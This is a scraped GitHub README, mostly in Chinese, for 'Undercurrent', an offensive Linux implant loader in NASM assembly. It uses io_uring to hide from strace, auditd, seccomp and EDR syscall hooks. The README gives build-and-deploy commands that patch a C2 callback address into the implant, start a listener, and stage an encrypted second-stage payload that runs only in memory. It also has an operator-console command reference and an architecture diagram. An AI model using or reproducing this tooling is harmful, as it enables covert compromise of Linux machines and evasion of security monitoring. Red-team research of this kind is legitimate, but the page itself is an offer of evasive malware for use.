Real-Fruit-Snacks/Undercurrent
GitHub: Real-Fruit-Snacks/Undercurrent
一款基于 io_uring 的 Linux 隐蔽植入加载器,通过绑开传统系统调用监控实现对抗环境下的加密载荷投递与内存执行。
Stars: 0 | Forks: 0
Undercurrent 是一个完全用 x86-64 NASM 汇编为 Linux 编写的加密隐蔽植入加载器。一个约 4.2 KB 的位置无关 shellcode 通过原始 TCP 使用 io_uring 进行所有 I/O 回连 —— 对 strace、auditd、seccomp-bpf 和大多数 EDR syscall hook 不可见。ChaCha20-Poly1305 认证加密使用 256 位预共享密钥。包含具有会话跟踪和即时植入生成的交互式操作员控制台。
## 目录
- [亮点](#highlights)
- [快速开始](#quick-start)
- [架构](#architecture)
- [操作员控制台](#operator-console)
- [配置](#configuration)
- [通信协议](#wire-protocol)
- [内部实现](#internals)
- [测试](#testing)
- [项目结构](#project-structure)
- [未来工作](#future-work)
## 亮点
|
**io_uring 规避** — 所有网络 I/O 通过 io_uring 提交/完成队列。零传统 I/O syscall(`socket`、`connect`、`read`、`write`、`send`、`recv`)。Hook syscall 表的工具无法观察植入程序的操作。
|
**ChaCha20-Poly1305** — 完整的 RFC 8439 AEAD,源自 Grotto 经过验证的纯汇编加密。256 位 PSK,每条消息随机 12 字节 nonce。被篡改的 payload 通过 Poly1305 MAC 静默拒绝。
|
|
**~4.2 KB Shellcode** — 整个加载器(io_uring 引擎、加密、网络、staging)在约 4,200 字节的 PIC 中。无编译器,无运行时,无 libc。
|
**无依赖** — 零 libc,零动态链接。仅原始 syscall:`io_uring_setup`、`io_uring_enter`、`mmap`、`mprotect`、`getrandom`、`close`。
|
|
**内存 Staging** — payload 完全在内存中接收、解密和执行。RW → RX `mprotect`,从不 RWX。无磁盘痕迹。
|
**双输出格式** — 构建为独立 ELF(约 12.7 KB)或原始 PIC shellcode(约 4.2 KB)以用于注入。同一源码,两种部署选项。
|
|
**交互式控制台** — cmd2+rich 操作员控制台,采用 Catppuccin Mocha 主题。多个并发监听器,带有 JSON 导出的会话跟踪,即时植入生成。
|
**87 项测试套件** — 单元、集成、边缘情况、压力和加密互操作性测试。AEAD 错误 PSK、损坏帧、边界大小、8 MB payload、慢速发送者。
|
## 快速开始
### 前置条件
| 依赖 | 版本 | 安装 |
|------------|---------|---------|
| NASM | latest | `apt install nasm` |
| ld (binutils) | any | `apt install binutils` |
| Python | >= 3.8 | 系统包 |
| cmd2 + rich + cryptography | latest | `pip install cmd2 rich cryptography` |
### 构建与部署
```
git clone https://github.com/Real-Fruit-Snacks/Undercurrent
cd Undercurrent
pip install cmd2 rich cryptography
```
**选项 1:交互式控制台(推荐)**
```
./uring-console
uring> psk generate # generate 256-bit PSK
uring> payload /path/to/stage2.bin # load second-stage payload
uring> generate 10.10.14.5 443 /tmp/implant # build + patch implant
uring> listen 443 # start C2 listener
```
**选项 2:命令行**
```
# Build ELF
make elf
# Patch C2 address and PSK into shellcode
python3 tools/patcher.py build/uring-implant --ip 10.10.14.5 --port 443 -o implant
# PSK is printed — copy it for the listener
# Start listener
python3 tools/listener.py --lhost 0.0.0.0 --lport 443 \
--payload shellcode.bin --psk <64-hex-chars>
```
## 架构
```
┌──────────────────┐ ┌──────────────────┐
│ Target │ │ Operator │
│ undercurrent │ │ uring-console │
└────────┬─────────┘ └────────┬─────────┘
│ │
│─── io_uring TCP CONNECT ───────────────────►│
│ │
│◄──────────────── ENC [ 8B challenge ] ──────│
│ │
│─── ENC [ 8B challenge ACK ] ───────────────►│
│ │
│◄──────────── ENC [ 4B len ‖ payload ] ──────│
│ │
▼ │
┌──────────────────┐ │
│ mmap RW region │ │
│ AEAD decrypt │ │
│ mprotect R+X │ │
│ jmp payload │ │
└──────────────────┘ │
```
| 层 | 实现 |
|-------|----------------|
| 传输层 | 通过 io_uring 的原始 TCP(`IORING_OP_SOCKET`、`IORING_OP_CONNECT`、`IORING_OP_SEND`、`IORING_OP_RECV`) |
| 加密 | ChaCha20-Poly1305 AEAD (RFC 8439),256 位 PSK |
| Nonce | 12 字节,每条消息通过 `getrandom(2)` 随机生成 |
| 传输格式 | `[len(4)][nonce(12)][ciphertext][mac(16)]` |
| 规避 | 零传统 I/O syscall — 所有 I/O 通过 io_uring 提交队列 |
| Staging | `mmap` RW → 接收 + 解密 → `mprotect` RX → `jmp` 到 payload |
| 控制台 | cmd2 + rich,Catppuccin Mocha,多监听器,会话跟踪 |
### 源码布局
```
main.asm Entry point, setup, orchestration
uring.asm io_uring engine (setup, SQE submission, CQE polling)
net.asm C2 connect, handshake, payload receive
stage.asm mmap allocation, payload decrypt, execution
cleanup.asm munmap, socket close, clean exit
```
## 操作员控制台
`uring-console` 是一个交互式操作员控制台,用于从单个 REPL 管理监听器、会话和植入生成。使用 [cmd2](https://cmd2.readthedocs.io/) 构建以支持 tab 补全,并使用带有 Catppuccin Mocha 配色主题的 [Rich](https://rich.readthedocs.io/)。
### 启动
```
./uring-console
# or
python3 -m tools.console
```
### 命令参考
| 命令 | 描述 |
|---------|-------------|
| `psk generate` | 生成随机 256 位 PSK 并显示为十六进制 |
| `psk
` | 从 64 字符的十六进制字符串设置 PSK |
| `payload ` | 将 payload 文件加载到内存中 |
| `payload --listener ` | 在运行中的监听器上热交换 payload |
| `listen [--host ]` | 在给定端口上启动 C2 监听器 |
| `stop ` | 停止一个或所有监听器 |
| `listeners` | 显示活动监听器表 |
| `sessions` | 显示记录的会话表 |
| `sessions --export ` | 将会话导出为 JSON |
| `sessions --clear` | 清除会话历史 |
| `generate 标签:AEAD, ChaCha20-Poly1305, DNS 反向解析, EDR 规避, io_uring, Loader, NASM, Raw Socket, Shellcode, strace 不可见, syscall 监控绕过, TCP 反向连接, x86-64, 代理, 位置无关代码, 内存加载, 快速连接, 技术调研, 无文件攻击, 汇编语言, 网络信息收集, 网络安全, 逆向工具, 隐匿植入物, 隐私保护, 零依赖